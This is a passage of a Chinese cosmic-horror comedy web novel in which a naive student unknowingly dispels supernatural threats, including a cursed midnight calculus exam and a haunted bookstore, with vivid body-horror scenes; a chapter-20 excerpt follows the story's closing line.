而与此同时,漫无边际的黑暗空间里,一簇簇虚拟数字旋转着、跳跃着,最后汇集在一起,形成一个发着光的人形,它仰起头飞向上方,再次尝试摆脱那个封印着它的巨大长方形结界,可毫无意外,它再次失败了,发光的人形被击溃,数不清的虚拟数字颤颤巍巍地散落各处,飘出的尾翼好似飞溅的泪滴。 那群虚拟数字归于沉寂,渐渐隐没在漫无天际的黑暗里。 看来,它还是没能让那个人满意……- 发表完获奖感言,表彰大会也进入尾声,郁樹在柯璆的陪同下离开会场。 怀揣着十万巨款,郁樹整个人兴奋得眉飞色舞,这可是十万呐!别的不说,至少他大学的学费生活费都有着落了,平时再打打零工赚点钱,说不定一毕业就能安安心心地找弟弟了。 郁樹知道,找人,尤其是寻亲是一个极其漫长的过程,不仅耗费心力,更耗费财力,小时候那位警官帮他找了那么久都没下落,他自己找只会更困难。 不过郁樹不怕,他坚持这么久就是为了能和弟弟团聚,他坚信只要努力,那一天肯定会到来的。 其实郁樹之前也想过借用网络的力量,仔细琢磨一下过后还是放弃了,一来网络上鱼龙混杂,更加难以分辨消息的真假;二来万一真的找到了,但弟弟还没做好接受他的准备,网络舆论肯定会给他很大精神压力。 郁樹想找到弟弟,当然更想和弟弟相认,但他更希望一切都建立在双方互相愿意的基础上,而不是一方突然袭击,另一方在网络裹挟下被迫接受,又或者因为弟弟拒绝相认,网友们对弟弟口诛笔伐。无论哪种,都不是郁樹想要的结果。 回学校的路上,他心情很是愉悦,不过看着一旁负责接送他的柯璆,心里那点对小柯的遗憾又冒了出来,让他不禁转过头去询问对方:“柯警官,小柯是不是不喜欢我?” “噢?”正在开车的柯璆听见这个问题,不由挑起一边眉梢,“为什么这么问?” 他摸不透郁樹是不是在故意试探,从他的视角来分析,郁樹说的每句话都似乎别有深意,好好揣摩都不一定能彻底领悟,所以回答他的问题之前一定要弄清楚他这么问的目的是什么,然后再思考答案。 柯璆继续目不斜视地盯着前方,耳朵却不自觉竖起,等待着身旁人的回答。 很快,郁樹幽幽叹了口气,搓弄着手指道:“也不知道是不是我多心,总觉得他和我在一起不开心,从来都没笑过,而且,你两次让我照顾他,他两次都临时跑去首府,所以我想,如果他不喜欢我的话,以后你还是找别人照顾他吧。毕竟是小孩子,总和不喜欢的人在一起会抑郁的。” 柯璆双手握着方向盘,沉默了半晌,而后道:“他是真的有事,不是不喜欢你,你送他的陶瓷手串都被他好好收藏着。” 郁樹有点不信:“真的?当时他接过那手串的时候可是一点表情都没有。” “……”柯璆又是沉默,而后道,“他本来就没什么表情,不会表达,对了,你喂养的那只黑猫怎么样了?” 郁樹的注意力马上被转移,开始侃侃而谈那只逐渐长大的黑猫,说话间满脸都是欣慰的笑容,最后还补充道:“也就是我没条件,不然我真想把它抓住,让它成为我的专属小猫。” 柯璆:“……” 那还不算专属? 那种等级的异端,他们铺天盖地地调查都找不到影子的异端,除了他郁樹,谁还能驯养那样的异端? 有时候柯璆不得不想,如果把每个人比喻成一本书,郁樹绝对是他看过的最难懂的一本,明明通篇都是普通文字,组合在一起却异常费解。 他现在有些后悔接下了和郁樹成为朋友,密切观察郁樹的任务,他都无法了解郁樹的心思,怎么成为对方的朋友? 但是话又说回来,如果他都无法了解郁樹的心思,那其他人就更难了解,甚至还会比他更容易遭受精神污染,所以这个任务只能他来。 到这种情况,他也没什么可说的,只能当字面意思理解,于是柯璆回道:“我怎么觉得他已经是你的专属小猫了?” “咦?为什么这么说?”郁樹脸上是显而易见的兴奋。 柯璆完全看不透他是不是在伪装,只好道:“感觉。” “你好像都没见过它吧?”郁樹面露质疑。 柯璆:“……”- 回到宿舍后,郁樹开始计划接下来的安排,资金已然到位,是时候思考一下学业了。 虽然成绩一般,但郁樹还是想要稳稳拿到毕业证的,目前这个专业纯属调剂来的,所以他才要学那令人头秃的高数,新的学年,必须得申请转专业。 他立刻着手查询克鲁大学转专业的流程,就在他填写《转专业申请表》的时候,宿舍门忽然响了。 郁樹纳闷,这个时间会是谁呢?舍友们可都在家里享受暑假生活呢,自己也没点外卖,柯警官送完他就走了,说是警局还有事,小柯就更不可能了,那孩子现在在首府。 他没应声,门外的敲门声又响了几下。 郁樹放下手里的笔,起身走向门口:“谁啊?” 门外传来一道好听的声音,仿佛浓醇的热可可:“是我。” 郁樹感觉这声音有点耳熟,但肯定不是熟人的声音,不然他肯定马上就能想到对方的名字,但看情况来人似乎认识自己? 他转动门把手,将门打开,看见一头红色的飘逸卷发,以及一双红色的瞳孔,呼吸瞬间滞住—— 虽然带着口罩,但从发型和眼睛来看,这不就是风靡全球的歌手惟尔吗? 他怎么会来找自己,还知道自己的名字?! 第33章 邪门 大明星出现在自己宿舍门口,这是做梦都不敢梦到的剧情,郁樹难以置信地揉了下自己的眼睛,红色卷发的身影还在! 他又暗中掐了一下自己的大腿,疼,不是梦! 郁樹有点按捺不住自己的喜悦,他是不追星,但这么大的明星出现在自己宿舍门口,是个人都得激动吧? 他抬起手指着对面,“你、你、你”了半天,恍然发觉这样很不礼貌,又急忙把手放下,迅速瞄了眼楼道,不见任何人,虽然是暑假,宿舍楼大概率是空的,但还是确认过后才彻底放心。 “你真的是惟尔?”他还是有些不敢相信,两只淡紫色的眼睛睁得老圆,小声地问对面的人。 惟尔也向楼道左右两侧瞧了瞧,而后撩了一下侧边的刘海:“可以先进去说吗?” “啊,请请请!”毫无防备心地,郁樹就将人请进来,还顺手锁上了门,做出这个动作之后他自己都有些诧异,但做都做了,就当是保护大明星的隐私。 “啊,宿舍有些乱,你别见怪。”郁樹揉着后脑勺,向每个见到自己偶像的男生一样笑得腼腆,半晌,他忽然想起来什么,立刻搬出自己的椅子掸了掸,“坐下说吧,你、怎么会认识我?” 这下轮到惟尔困惑了,为什么感觉这人是第一次在现实中看见自己?之前不是还给他送过奶茶,劝他少喝吗?这么快就忘了? 他打量着面前的男生,企图从那双淡紫色的眼瞳里发现些许端倪,得到的却是对方的一脸赤诚,这让惟尔更加困惑了,难道他也失忆了?可为什么呢?自己是去在去过阿卡姆警局失忆的,这个男生呢?不对啊,他得到市政府和警局的表彰,就是因为及时举报了达贡奶茶,解救了无数被迫染上毒瘾的受害者,就算是失忆也没理由把自己忘了吧? 他打量着对面,对面的人也在打量他,长长的睫毛扑闪着,两只淡紫色的眼睛里瞳光明亮,透着一股男大特有的青春懵懂。 惟尔的呼吸倏然滞住,急忙后撤一步,手握成拳放在嘴上轻咳一声,而后坐在椅子上,“你刚才说了什么?” 郁樹找了另一张椅子坐下,“欸?我刚刚说了什么?噢,对,我是问你怎么会认识我?” 惟尔打量着宿舍环境,一边道:“你现在很有名啊,普通人很难不认识你吧。” “啊?我吗?”郁樹指着自己,更加不敢相信,“你很有名”这种话从一个大明星口中说出来,怎么看怎么魔幻,更魔幻的是大明星竟然自称“普通人”,弄得郁樹都不知道该如何接话了,只好腼腆地笑笑,“瞧你这话说的,我才是真正的普通人。” 惟尔不禁再次端详对面,“普通人怎么会获得‘青年好榜样’的称号,还被无数网友追捧,你要是有社交账号,粉丝估计早就好几百万了。” “嗯?你怎么会知道我没有社交账号?”郁樹更迷惑了,其实他有社交账号,只不过是私密的,单纯刷寻亲视频用,谁也没告诉过,所以也跟没有没什么两样,但这些事堂堂大明星怎么会知道? 看着对面一脸懵懂的表情,惟尔不禁反问:“你不上网吗?你的获奖感言火了,好多人想要关注你,却找不到账号。还有一部分人黑你,企图人肉你,不过不知道是良心发现还是被人教训了,突然就去警局自首了,这些你都不知道?” “我还真不知道,”郁樹揉了下自己的后脑勺,后知后觉道,“可能是信息茧房吧,我不怎么刷这方面的,系统就没给我推过。” 按理说这事还真挺奇怪的,自己不过就是得了个“青年好榜样”奖章,不至于被人黑、被人肉吧,不过既然那些人已经自首,说明自己的获奖感言在一定程度上来说还是有用的。 郁樹有点欣慰,正笑着,忽然意识到惟尔还在对面,忙问:“那你找我是——?” 终于谈到这个问题了,惟尔暗暗呼出一口气,进入今天的正式内容:“你还记得你给我送过奶茶吗?” “我给你送过奶茶?怎么可能?”郁樹立马摆手,“全世界都知道你从来不喝饮料,我怎么会给你送奶茶?” 听他这么说,惟尔挑眉:“那如果是达贡奶茶呢?” 说话的同时,他始终看着郁樹的一举一动,认真研读着那张脸上的微表情。 说实话,他到现在都还没弄清自己为什么会失忆,只是阿卡姆的警情通报和自己恢复的记忆之间存在太多偏差,这让他不得不把怀疑的焦点对准阿卡姆警局,也让他怀疑自己恢复的记忆究竟是真的还是幻想—— 那么多无法用常理解释的世界真的是现实世界吗? 这个世界上真的存在能让人失去特定记忆的方法吗? 阿卡姆警局为什么不经允许就私自篡改他的记忆? 一层一层的谜团等着他解开,而郁樹作为他恢复记忆的锚点,又因达贡奶茶事件被阿卡姆警方授予“青年好榜样”称号,他的回答决定着惟尔接下来的行动。 很快,郁樹毫无防备心地说道:“达贡奶茶?你喝过达贡奶茶?不像啊,你这状态明显身体健康,那些喝过达贡奶茶的人各个都瘦得不成样子,跟你完全不同……” 闻言,惟尔的眉心蹙了起来,这个回答让他无法判断郁樹究竟是失忆了,还是仅仅忘记了自己的那部分记忆,但没道理他记得别人,唯独忘记自己吧? 他正思考着,郁樹忽然带着椅子往前挪了几步,而后双手肘支在膝盖上,凑近了盯着他,猛地一击章,眼睛里却满是疑惑:“难道那次的人真是你?” 惟尔还没反应过来他说的是什么,郁樹就拉着他站起来,然后绕着他看了一圈,单手托腮,点点头道:“那人确实有点像你,不过比你瘦太多,又邋遢,头发油糟糟、乱蓬蓬的,好像还好几天没洗澡了,带着股难闻的异味,皮肤看起来也特别差,还有点神经兮兮的……” 惟尔:“……” 他现在有点不想承认那是自己了。 郁樹则继续道:“而且工作室不是说你去国外闭关学习去了吗?那应该不是你吧。” 惟尔:“……” 一时之间竟然不知道应该回答是还是不是。 但至少,这个回答说明郁樹没有失忆,他记得那晚发生的事。 来这里之前,惟尔曾经暗中调查了好几个跟他一样,被迫染上达贡奶茶瘾的受害者,无一例外的是,这些人复述的经历和阿卡姆警局发布的通报别无二致,这也是惟尔怀疑自己的原因,如果所有人都说1+1=3,那么正确答答案究竟是2还是3? 惟尔不敢深想下去,不过好在郁樹都记得,接下来只要再问一个问题,就能确认一切究竟是自己的幻想还是真实发生过的事。 他将对面的男生按在椅子上,双眼直直盯着对方,有些忐忑,又有些期待地问:“那晚、那晚,你有没有发现什么……异常情况?” “还用那晚吗?”郁樹被箍着肩膀有些不舒服,挥开对方的手,继续道,“从入职我就感觉不对劲,不过为了搜集更多证据才继续在那里干的,当时我不是还提醒你那奶茶不能喝吗?” 虽然对方没有承认,但是从面部表情和接下来的反应来看,那晚那个红发男人确实是惟尔,果然,人还是得有个正常的体格,瘦成那副德行,哪怕是绝美建模脸都会被认成不合格的赝品,也不怪自己会认错,谁能想到外出闭关的国际巨星实际上是染上了毒瘾宅在家中? 幸好现在犯罪窝点被一锅端,郁樹也从柯璆那里得知,受害者都得到了应有的照顾与治疗。要说还是现在的医疗技术高超,短短数日就能让受害者戒掉毒瘾,还彻底断绝复吸的可能,简直是人类福音。 对面,一个从未联想过的可能震撼着惟尔的内心,郁樹的话点醒了他,脑海中的那些谜团也在此刻骤然得到了解答—— 是郁樹的那番话救了他,让他终于找回自己的理智,战胜达贡奶茶的蛊惑,将体内的黑水尽数吐出; 如果达贡奶茶的蛊惑是真,剩余那杯盛满眼珠的奶茶就是真,他以为是幻想的可怕世界就是真,阿卡姆警方篡改他的记忆也是真。 如果以上都是真,郁樹就绝对不可能是普通大学生,他一定有更为神秘莫测的身份,但究竟是什么呢? 惟尔赫然想起那些塔罗牌面,万劫不复,也许,答案和这个词有着千丝万缕的联系。 这层设想一下子令惟尔汗毛竖起,让他犹豫是否要继续探询答案,但莫名地,心底又涌起一股难以忽视的亢奋,这种亢奋使他无比渴求追逐那个答案,也许真的会万劫不复,但万一那就是他最绚烂的使命呢?- 暑假时光过得很快,新的学年又来了,郁樹果断提交了转专业申请,因为获得了“青年好榜样”称号,学校对他的需求很重视,没几天就批准了他的申请。 就在开学的这段时间,学校忽然开始流传起一个邪门的故事: 午夜十二点,有人会被选中去一个诡异空间做高数题,全部答对可以出来,但若是错一道题,等待你的就是大脑被啃食的声音,“咔嚓、咔嚓”,那声音折磨着你直到最后一秒。 第二天,你的舍友就会发现,你变成了一具不会眨眼不会动的人形傀儡…… 第34章 夺脑高数 因为那个邪门故事的存在,好多胆子小的人都不敢睡觉,生怕在睡梦中被拉去做高数题。 郁樹的同班同学更是叫苦连天,为什么出事的总是高数?之前是教高数的陈胜荣给他们洗脑,现在又来了个午夜的高数考场,高数是什么恐怖规则怪谈吗?接触它的人不死也得疯疯癫癫? 起初他们以为是这个系的风水不好,可一合计,那些做题的人来自各个系各个专业,哪怕不学高数,都被拉过去做过高数试卷。 不过传言似乎也有夸大的嫌疑,好多人都说自己在梦里被拉过去做高数试卷,错了好几道题,当场就被那个血红的叉叉吓醒了,生怕自己变成故事里不会呼吸不会动的傀儡,但是现实是,他们的确被红叉吓醒了,但也仅仅是吓醒而已,行动依然自如,呼吸依然顺畅,甚至感觉身体都变结实了,走起路来健步如飞。 渐渐地,很多人也就不把那个故事当回事,该吃吃,该睡睡,反正就是个噩梦,谁还没做过噩梦咋滴? 事实上,很多事情的发生都是不符合逻辑且没有常理的。 一个深夜,艺术系的朱郁文从外面写生回来,拖着疲倦的身体躺在床上,累到不想说话,却死命控制自己别闭上眼,实在困得不行了,他就狠狠掐自己。 已经好几晚了,他刚睡着就梦到自己出现在一间教室,教室里只有他一个人,课桌上放着一张高数试卷和一只笔,试卷上写着他的名字,没有监考老师,但教室里的威压让人根本萌生不出作弊的想法,而且梦里的他没有任何通讯设备。 朱郁文看着试卷标题那两个硕大的“高数”,纳闷自己怎么会做这种噩梦,难道哪怕上了大学,不用再学数学,对高数的恐惧依然侵扰着自己吗? 学校流传的恐怖故事他有所耳闻,但始终没想到会降临在自己身上,朱郁文家世代信佛,身上还挂着开过光的玉观音,哪怕世界上真有邪祟,也根本近不了身,所以他对此从来都嗤之以鼻。 却没想到,这种事情竟然真的降落在自己身上,看着面前的高数试卷,朱郁文第一次觉得自己晕字,但他也清楚,让他头晕的应该不是字,而是试卷上看也看不懂的高数定理和符号。 这可是高数试卷! 朱郁文一下子就有点心慌,如果是除数理化生在外的其他科目,他尚且还能蒙一蒙,但这是高数,他蒙都不知道怎么蒙! 想到答题失败的下场,朱郁文的额头就沁出一身冷汗,哪怕是在梦里,他的恐惧都已经传递到现实,发抖的全身带着床板发出“咯吱、咯吱”的声音,在深夜里听着特别突兀。 舍友以为他在做什么成年人的小动作,翻着白眼将自己的头蒙在被子里,以此降低那恼人的噪音。 而梦里,朱郁文的恐惧愈发加大,他不想变成没有灵魂的傀儡!他还有自己的艺术之梦要追寻呢!他不要做那可怕的高数题! 这样想着,梦里的他开始猛掐自己的大腿,传言只说了全对和错一道题的下场,可没说拒绝做题有什么后果,反正那数学题他都不会,做了也是全错,不如拼一把,不做题,看看能有什么结果。 一下、两下、三下…… 好几下过后,他竟然真的疼醒了,睁开眼看见了熟悉的天花板,包裹着熟悉的被子,朱郁文知道他赌对了,他摩挲着胸前的观音吊坠,感恩地想果然化险为夷了。 然而,令他没想到的是,从那之后,每次夜里,他都会进入那间只有他一个人的高数考场,每次,他都靠强行弄疼自己回到现实。 今天也如往常一样,梦里的朱郁文使劲掐着大腿,期待疼痛将自己唤醒,然而这次,他的努力似乎失败了。 现实里,胸前的玉观音发出了一丝淡淡的光亮,而后“喀嚓”一声,竟然碎了,温润而透亮的碎屑里莫名泛起一缕黑气……- 第二天一早,一道凄厉的叫声响彻宿舍楼,紧接着楼道里传来“咚咚咚”的脚步声,听起来似乎是急得连鞋都没穿,脚后跟结结实实地砸在地板上才会发出来的那种。 这么大动静,隔壁宿舍的人都醒了,实际伤有的人压根都没睡着,死死睁着眼睛到天明,黑眼圈浓得都能原地化为国宝了。 按理说都是男生,不至于因为一个恐怖故事就彻夜难眠,但不知为何,恐惧就好像会传染一样,只要周围的人谈论过那个故事,哪怕你平时就着恐怖片下饭,哪怕你高数考试回回满分,这种畏惧在梦里做高数试题的恐惧依然侵扰着你的神智,让你不敢睡觉,但人类怎么可能战胜睡意呢? 可怕的是,即使睡着,你的精神状态也始终处于惊慌中,一点风吹草动都能让你畏惧地发抖,更别说这种凄厉的大叫和震耳欲聋的脚步声了。 被惊醒后,有人将自己缩在被子里不敢出来,有人面目呆滞仿佛早已生死看淡,有人捂住自己的耳朵死死堵在门口。 又开始了,又开始了,又有人因为做不出数学题而变成了会动的尸体! 流传的故事里,那些没能答对全部题目的人最终变成了大脑空空的傀儡,但在同学们眼中,他们更像是会动的尸体,活死人一般,继续着那个人的生活,但认识的人都知道,那绝对不是原来的人,里面的芯变了,或者说,驱动他的不再是灵魂。 一觉醒来,身边熟悉的人笑得血哧窟啦,鲜血一边往下淌,一边往嘴里送玻璃,还嚼得嘎嘎作响,你甚至能看见长而尖的玻璃刺穿他的脸颊,可他好像体会不到痛苦一般,嘴角咧开的弧度变得更大,扯得脸颊上的洞都变了形,猩红的血液从嘴里和洞里一直往外冒,流淌一地,更奇怪的是,都这个出血量了,那人依然稳稳当当地站着,向你展示玻璃有多好吃。 没人能在看见这一幕后还保持理智,冷静更是被抛到九霄云外,对身体的控制都变得极为艰难,除了那滩范围越来越大的血泊,地上还多了一汪黄色的腥臊液体,整个宿舍都弥漫着浓烈的难闻气味,里面的人却仿佛失去了嗅觉,或者说,是失去了逃跑的力气。 像以往一样,有人叫了救护车,然后所有人就都等在原地,反正医院最后的结论会是学习压力过大造成的精神失常,建议接受系统的心理治疗,学校会再次动员学生快乐学习,注意疏解压力,不会有任何变化。 那些人从来不会相信这一切都源于那个邪门的恐怖故事,无论他们强调多少遍,他们只会笑着问:被抓去梦里做高数题?有这个脑洞怎么不去写? 失望积攒得多了,人也就麻木了。 就在所有人都被恐惧和麻木笼罩的时候,他们的救星出现了……- 郁樹其实也听舍友们说过那个恐怖故事,说实话,对比起变成傀儡,他觉得还是做梦都得做高数题更可怕。这故事倒是深深抓住了一部分害怕高数、不喜欢高数的人的心理,编的还挺有意思。但终归是故事,郁樹也没放心里去,继续忙着他的转专业大计。 大学里学生多,课程多,老师多,转专业还真不是那么好办的,虽然校领导们审批得很快,但具体安排起来还是要耗费一些时间,郁樹只能先继续在高数课上睡大觉。 新的一天,他正睡回笼觉呢,忽然听见一声惊叫,紧接着就是“咣咣咣”的跑步声,他揉着脑袋坐起来,打着哈欠问早已经起床的尚青北:“北哥,啥情况,有人大早上看恐怖片把自己吓着了?” 尚青北放下手里的高数习题集,抿了抿唇,简单道:“可能是吧,时间还早,你可以再睡会儿,到点了我叫你。” 意外的是,这次郁樹却没有继续躺下,而是起身下床,打着哈欠推开门,“哪个宿舍啊,我过去看看。” 随着他出门,尚青北立即放下笔追了上去。郁樹可以不信,但是他自己却是亲身经历过在梦里做高数题,只是没有故事里说的那么恐怖,什么顶灯明明灭灭,树叶沙沙作响,外面昏天暗地统统不存在,除了整个考场只有你一个人外,其余和普通考试没什么区别。 当然,尚青北成功拿到满分,摆脱了那个梦境,也正因如此,他真正意识到那个故事不是空穴来风,但这种事任何人都不会相信的。 他本来想告诉郁樹,可莫名地,他觉得这些事不让郁樹知道更好,虽然他也说不清楚为什么会有这种感觉,但他选择遵从自己的心。 所以这个时候,他很怕郁樹看见那一切被吓出个好歹来,急匆匆跟了上去。 走过好几个宿舍,郁樹终于找到声音的来源,门大敞着,里面两人蹲在地上瑟瑟发抖,地上是一滩红色的液体,还有一汪黄色的液体,中间站着的人挂着满脖子血吃玻璃糖,看起来真像是在吃玻璃,脸上的妆也化得特别逼真,就好像真的有血从他脸颊的洞里往外流一样。 郁樹回想了一下时间,离愚人节还有一年,距离万圣节也还差了好几个月,这同学这么早就开始演习了吗?瞧瞧大早上给舍友吓的,俩蹲地上发抖,另一个光着脚丫子就跑,足以可见是多么害怕。 啧啧,这样一对比还是他们宿舍的人都正常,不会整这些幺蛾子,天天都和和、气气友友爱爱。 他刚要说话,尚青北就追了过来,伸手想要把他拉走:“樹,走吧,别乱进别人宿舍。” “平时我肯定不进,”郁樹挣开他,“这不是闹大了吗,我毕竟有个奖章,还是得该出手时就出手。” 尚青北被他甩得险些一个趔趄,好不容易才稳住身形,旋即就看见郁樹又往里走了几步,他想阻止已经来不及了,只能眼睁睁看着郁樹绕过那两滩红色和黄色的液体,走到坐在地上的那两人面前,蹲下去,柔声问:“同学,你们没事吧?” 话音刚落,空气中似乎产生了微妙的化学反应,那两个方才还瑟瑟发抖的人,忽然之间就变得镇定,点头跟郁樹说他们没事,从声音上判断,确实很平静,甚至平静得太过反常。 下一刻,郁樹走到那个持续咀嚼玻璃的人面前,略带指责道:“诶,同学,你怎么回事?这恶作剧太过了吧?” 那一刻,尚青北仿佛听见一道来自野兽的痛苦嘶吼,可周围明明全是人,哪来儿野兽? 难道是自己幻听了? 第35章 烧书【完结】 第35章 烧书 洪凯是个一米八几的体育生,身上的肌肉邦邦硬,小麦色的皮肤更是透着满满的健康活力,一看就让人很有安全感。 而这次,他确实是来保护人的,因为那个恐怖故事,他发小整天战战兢兢,连觉都不敢睡,眼瞅着发小的黑眼圈越来越浓,洪凯心疼不已,再这样下去,他想见发小恐怕还得烧纸。 正好发小宿舍只有三人,洪凯就主动提出去宿舍陪他,为此还特意请发小宿舍的人吃了好几顿大餐,终于成功入住。 一连几天,无事发生,发小很高兴,眼下的乌青都变淡了,洪凯也很高兴,看来他的陪伴还是很有用的,至少成功让发小睡了好几晚。 剩下两位舍友更是高兴,托洪凯的福,他们晚上也能安心睡上几个小时,虽然精神依然处于紧绷状态,但至少能休息上一会。 也许那东西也欺软怕硬,见他们宿舍来了个能打的就放弃了。 然而还不等他们放下全部戒备,恐怖就降临了。 他们以为昨天夜里的动静是某个舍友在释放自己,都是男生,也理解,战战兢兢这么久,也该满足自己的需求了。 谁都没想到,翌日早上,天才刚蒙蒙亮,宿舍里就响起“咔嚓、咔嚓”的声音,细细密密的,速度极快,听得人毛骨悚然,还伴随着浓烈的血腥味。 最先醒的就是洪凯,仗着臂力好,他眼睛还没完全睁开,人就已经翻下床了,而后,就看见令他惊恐大叫的一幕—— 发小的舍友,那个名叫朱郁文的男生站在宿舍中央,嘴里嚼着不知哪里来的玻璃,“咔嚓”声就是从他嘴里发出来的,不仅如此,他还咧开嘴朝他大笑,齿缝里全是血和玻璃碴,随着嘴张开,大量的鲜血从他的嘴里流淌出去,滴到身上,短短一瞬间,他胸前的衣服就红了一大片。 洪凯是不怕鬼的,事实上他从来就没怕过任何东西,遇上小混混他都会用拳头把他们干趴,区区一个校园恐怖传说有什么值得畏惧的。 但是看着眼前的人即使把嘴扎破也得嚼玻璃,洪凯直接吓破了胆,“嗷”一嗓子就跑了出去,连鞋都不穿了,脚后跟“咣咣咣”地撞击着地面,再疼、再不舒服、再震脚,他依然疯一般地逃走。 那一刻,他脑子里再没有其他念头,唯一的想法就是逃,有多远逃多远,能跑多远跑多远。 宿舍里剩余两人本来就睡得轻,被他这一嗓子直接嚎醒了,睁眼一看地上的场景,吓得直接从床上滚了下来,身上没有一块不疼的,可是比起心灵上的战栗,□□的疼痛真的算不上什么。 他们忍着痛疼,努力爬起来,蜷缩着身体躲到角落,惊恐地捂着耳朵,可那疯狂的咀嚼声好像就在他们耳边一样,反而越来越大。 眼睛里是朱郁文玩命将玻璃往嘴里塞,鲜血流了一地的画面,两人更是惊恐,他们拼尽力气控制自己不去看那恐怖的一幕,视线却好像完全不受他们控制一般,死死定格在朱郁文惨不忍睹的脸上,其中一个连膀胱都不受控制了,直接尿了一地。 “咔嚓、咔嚓”的声音还在继续,就在他们以为今天就是自己的末日之际,一道清冽好听的声音传来:“你们没事吧?” 那一刻,两人发现,他们的眼里血肉模糊的朱郁文消失了,取而代之的是一张极为好看的脸,灵动的眼睛还带着淡淡的水汽,仿佛刚睡醒一般朦胧,这非但没有影响他的颜值,反而让给他增添了一股懵懂的青涩气息,仿佛涉世未深的少年,又好似遗世独立的得道高人,悲悯地看着世间的一切。 耳边响个不停的咀嚼声忽然停了……- 朱郁文感觉自己真真正正变成了一个“活着”的傀儡,他有意识,感知觉正常,但身上没有任何一个零件受自己控制。 他疼得烧心挠肺,却叫不出来,也哭不出来,反而嘴角咧得越来越大。 玻璃碴划得他嘴里全是血,咽进去的时候整个食管都被刺破,鲜血不停往外涌,他想停手,想扔掉那些玻璃,可身体的行动却越来越迅速,咀嚼的频率就好像有千万只苍蝇在你面前“嗡嗡”。 朱郁文能清晰地感觉到那些碎玻璃进入胃部,将胃扎得千疮百孔,而后又继续向下随着血液一起划入肠道,刺破肠壁,一切消化的未消化的全部涌出来,污染着他的身体。 哪怕是艺术生,朱郁文也知道,这种情况下,等待他的只有死。 可是为什么? 故事里不是说那些答错题的人只会变成没有意识的傀儡吗? 为什么到自己这里就是死路一条? 他真的不想死啊! 朱郁文想哭,想大哭,想高声呼救,但他什么都做不到,他只能任由自己疯狂地往嘴里送玻璃,嚼得满嘴血也不肯停下。 就在他绝望之际,宿舍里忽然走进来一个人,在那人靠近的一瞬间,朱郁文莫名感觉到一阵源自灵魂深处的颤栗,但这颤栗绝对不是他发出来的。 还没弄明白这种感觉因何而来,那人拍了一下他的肩膀,而后说了句话,但朱郁文耳朵里全是自己咀嚼玻璃的声音,根本没听清那人说了什么。 紧接着,他忽然发现嘴里的玻璃不见了,身体里那些被玻璃碴扎出的洞也在缓慢愈合,那种被不知名物体控制的感觉倏然消失,他好像能控制自己的面部肌肉了! 朱郁文惊喜不已,眼底里都闪着泪光,虽然不明白是什么原因,但自己的确是在对方靠近之后才被解救的,这一点是不会错的。 他看着对面,想要握住对方的手表达感谢,可就在他刚要伸出手的时候,忽然眼前一黑,竟然直直晕倒过去。 阖上眼帘的那一刻,他仿佛看见一团五彩斑斓的雾,浓雾里不时深处几只巨大的触手,他想要努力睁开眼辨别,可一瞬间,一股难以名状的威压席卷着周遭的一切,朱郁文马上就失去了意识。 与此同时,救护人员和警员及时赶到,将朱郁文抬进救护车,另有好几队急救员负责地检查着每个人的身体状况。 见专业人士来了,郁樹悄无声息地和尚青北离开,回到自己宿舍继续补觉。 一切都归于寂静之后,郁樹桌上的高数书忽然被翻开了,但宿舍并未开窗,空调也开着轻柔模式,根本掀不起这么大浪……- 几天后,郁樹的转专业手续彻底办好,终于可以过没有高数的日子了。 他开开心心地请舍友大吃一顿,而后回到宿舍,看着那本翻开的高数书,笑眯眯地拿起,合上书页,走到卫生间,将高数书放在洗手池里,拿出打火机,撕下一页高数书,“咳呲”一声,火苗窜起点燃书页,落进洗手池的高数书上。 “轰”地一声,整本高数书都被点燃,郁樹兴奋地大笑:“哈哈!转专业成功!高数再也不见!” 晃动的火苗中,他似乎听见高数在嘶吼,但那怎么可能呢,那只是一本高数书而已…… 全文完 20. 第 20 章 越努力越不幸,书架拼了命地控制自己,但那种原自本能的恐惧不是努力就能克服的。 “咯吱”、“咯吱”…… 它全身都在颤抖,架子上的书被它抖落在地上,发出的“pia叽、pia叽”的声音。 四道含义不明的视线投射过来,悚惧的、镇定的、审视的,以及那一道无法言说、无法被定义的。 书架顿时毛骨悚然,虽然它没有毛也没有骨,但它知道这感觉一定是人类口中的毛骨悚然。 “不好意思啊,”书架听见一道仿佛天籁之音的呢喃,“可能是书架坏了,我过去看看。” 那是一道来自宇宙洪荒之处的声音,空灵浩荡,昭示着世间亘古不变的真理。 书架能听见,却听不懂,更无法理解,但它敏锐地感觉到危险的气息正在一步步向他靠近。 它正在被一团说不清、道不明的彩色云雾注视着,想求救却发不出声音,想逃跑却迈不开步子,唯一能做的就是不停地颤抖。 更多的书从书架上掉下来,郁樹走过去拍了拍,结果,“轰隆!”“咣当!”“乒乓!”“砰砰!”数道撞击声同时传来,一排排书架像多米诺骨牌一样轰然倒下,整个书店书页乱飞,浮尘在空中激荡,霎时间,书店宛如一个经历过殊死搏杀的战场。 郁樹整个人当即愣住,他就轻轻碰了一下怎么就全倒了?这质量也太差了吧,老板不会让他赔偿吧?自己的打工之路为什么如此命途多舛?不是遇到这个问题,就是遇到那个问题,短短一个学期不到,他已经换了不知道多少个兼职了。还有完没完?自己是什么衰神转世吗?! 看着面前的惨状,郁樹纳闷,这么大动静,莱尔怎么还不出现?此刻他继续问问老员工遇到这种情况应该怎么办? 他站在原地环视一圈,朝柜台旁的三位警官不好意思地笑笑,决定还是直接和老板说,做人嘛,遇到麻烦不能逃避,得有直面困难的勇气。 奶茶店老板那么难搞的一个人都能被他做通工作,书店老板应该也不在话下。 正好现场有目击证人,不然还真不好自证清白。 郁樹走向柜台,搓着手笑笑:“那个,让你们见笑了,你们能不能帮我跟老板证明一下,我真的不是故意的。” 贺铮看着地上倒的乱七八糟的多米诺书架,木质的框架结构上生长着一圈又一圈凸起的瘤状物,像年轮,又更像一张张模糊不堪的人脸,一本本书瘫在地上,好似一张张痛哭流涕的嘴,只是流的并不是眼泪,也不是鼻涕,而是一股又一股暗红色的、混合着黄白色渣滓的粘稠液体,像血,又像将人体放入搅拌机后榨成的汁液。 即使看不见实体,贺铮也能猜到那异端一定痛苦极了。 而造成这一切的罪魁祸首此刻竟然搓着手,一脸羞赧地说他不是故意的。 不小心就能酿成如此惨剧,那如果是故意的呢?那得给人类社会带来多大危害? 这些异端是罪有应得,可那也不能在他们还没调查清楚之前就痛下死手吧? 现在这种情况,与其说是不小心,杀端灭口的嫌疑更大吧? 身后的调查员已经被接连发生的事情震惊得说不出话,两个人都木愣愣的,这里不是只有A2级异端吗?调查车里的队员不是说现在污染值为零吗?那地上这一片难以描述的东西是什么?是他们的想象吗? 更可怕的是,眼前这个不是位普通大学生吗?为什么他身边接连发生异端事件?之前的毛血旺,上次的陈教授,这次更是搞了个异端拼好团! 